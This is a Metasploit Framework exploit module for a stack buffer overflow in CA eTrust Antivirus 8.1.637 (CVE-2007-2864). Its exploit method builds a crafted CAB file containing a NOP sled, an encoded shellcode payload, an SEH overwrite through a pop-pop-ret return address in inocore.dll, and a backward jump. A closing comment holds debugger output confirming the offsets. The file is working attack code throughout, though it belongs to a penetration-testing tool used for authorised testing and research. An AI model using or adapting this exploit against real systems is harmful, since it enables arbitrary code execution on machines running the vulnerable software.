##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::FILEFORMAT
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA Antivirus Engine CAB Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in CA eTrust Antivirus 8.1.637.
					By creating a specially crafted CAB file, an an attacker may be able
					to execute arbitrary code. 
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '24330' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ],
					[ 'CVE', '2007-2864' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},					
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll 
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 05 2007',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.',  'msf.cab']),
				], self.class)

	end

	def exploit

		cab_header =  "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"
		cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"
		cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"
		cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"

		sploit =  make_nops(268 - payload.encoded.length) + payload.encoded
		sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string
		sploit << make_nops(800)
	
		cab = cab_header + sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(cab)   

	end

end

=begin
0:001> !exchain
00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)
00cdf2fc: 316a4130
Invalid exception stack at 6a413969
0:001> !pattern_offset 1024 0x6a413969
[Byakugan] Control of 0x6a413969 at offset 268.
0:001> !pattern_offset 1024 0x316a4130
[Byakugan] Control of 0x316a4130 at offset 272.
0:001> u 0x6dc886ea L3
INOCORE!QSIInitQSysInfo+0x278a:
6dc886ea 5f              pop     edi
6dc886eb 5e              pop     esi
6dc886ec c3              ret
=end